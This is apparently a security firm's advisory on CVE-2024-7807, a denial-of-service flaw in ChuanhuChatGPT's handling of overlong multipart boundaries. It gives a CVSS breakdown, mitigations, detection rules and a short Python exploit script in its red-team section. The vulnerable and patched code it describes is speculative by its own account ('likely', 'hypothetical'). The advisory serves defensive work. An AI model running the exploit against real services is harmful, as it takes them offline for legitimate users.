CVE-2024-7807

Executive Summary

CVE-2024-7807 is a high-severity Denial of Service (DoS) vulnerability affecting gaizhenbiao/chuanhuchatgpt version 20240628. The flaw resides in the file upload mechanism, where an attacker can append an excessive number of characters to a multipart boundary. This causes the system to process each character individually, leading to uncontrolled resource consumption and service unavailability. With a CVSS score of 7.5, the vulnerability is remotely exploitable without authentication, posing a significant risk to availability. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a Python-based application (ChuanhuChatGPT) distributed via GitHub. The lack of a patch and the nature of the DoS attack highlight risks in the open-source supply chain, where unpatched dependencies or custom code can lead to service disruption. Organizations using this software should monitor for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Total loss of service.

Threat Level: High. The vulnerability is easy to exploit remotely, requires no authentication, and directly impacts service availability. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is rooted in how chuanhuchatgpt handles multipart file uploads. When a file is uploaded, the system parses the multipart boundary to separate form data. By appending a large number of characters to the boundary string, the parser enters a state where it attempts to process each character sequentially. This results in:

• Uncontrolled Resource Consumption: CPU and memory are exhausted as the system iterates over the appended characters.
• Service Unavailability: The application becomes unresponsive, preventing legitimate users from accessing the service.
• Potential Data Inaccessibility: If the service is used for critical operations, data may be temporarily inaccessible.

The attack does not require authentication and can be executed with a simple crafted HTTP request. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption).

Vulnerable vs. Patched Code

Vulnerable Code (Version 20240628): The file upload handler likely uses a standard multipart parser that does not limit the length of the boundary string. An attacker can send a request with a boundary like:

Content-Type: multipart/form-data; boundary=AAAA... (thousands of characters)

The parser then processes each character, causing resource exhaustion.

Patched Code (Hypothetical): A patch would enforce a maximum length for the boundary string, rejecting requests with excessively long boundaries. For example:

MAX_BOUNDARY_LENGTH = 128
if len(boundary) > MAX_BOUNDARY_LENGTH:
    raise ValueError("Boundary too long")

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of chuanhuchatgpt (version 20240628) in a controlled environment.
2. Use a tool like curl or a Python script to send a malicious file upload request.

Exploit Script (Python):

import requests

url = "http://target:port/upload"
boundary = "A" * 100000  # Large boundary
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}
data = f"--{boundary}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nmalicious content\r\n--{boundary}--\r\n"
response = requests.post(url, headers=headers, data=data)
print(f"Status: {response.status_code}")

Execution:

• Run the script against the target. The server will become unresponsive, confirming the DoS.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with abnormally long Content-Type headers or multipart boundaries.
• Use network monitoring to detect high CPU/memory usage spikes during file uploads.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with boundary lengths exceeding a threshold (e.g., 256 characters).
• Apply rate limiting on file upload endpoints.
• Temporarily disable file upload functionality until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /upload with Content-Type containing a boundary string longer than 256 characters.
  • Unusually high CPU or memory usage on the server during file uploads.
• Log IOCs:
  • Application logs showing repeated processing of multipart boundaries.
  • Error logs indicating resource exhaustion or timeouts.

Detection Engineering

YARA Rule

rule CVE_2024_7807_DoS_Boundary {
    meta:
        description = "Detects malicious multipart boundary strings used in CVE-2024-7807"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7807"
    strings:
        $boundary = /boundary=[A-Za-z0-9]{256,}/ nocase
    condition:
        $boundary
}

Sigma Rule

title: CVE-2024-7807 - DoS via Long Multipart Boundary
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with excessively long multipart boundaries
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri: '/upload'
        cs-content-type|contains: 'boundary='
        cs-content-type|re: 'boundary=[A-Za-z0-9]{256,}'
    condition: selection
falsepositives:
    - Legitimate large file uploads with long boundaries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7807 - DoS via Long Multipart Boundary"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"boundary="; http_header; pcre:"/boundary=[A-Za-z0-9]{256,}/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable file upload functionality if not essential.
   • Implement a WAF rule to block requests with boundaries longer than 256 characters.
   • Apply rate limiting on the /upload endpoint.

2. Long-Term Fix:

   • Monitor the vendor’s repository for a patch. If none is provided, consider forking the project and implementing a boundary length check.
   • Upgrade to a patched version once available.

3. Compensating Controls:

   • Use a reverse proxy (e.g., Nginx) to limit request body size and reject malformed multipart data.
   • Enable resource monitoring and alerting for unusual CPU/memory spikes.

Valters IT
Securing Digital Frontiers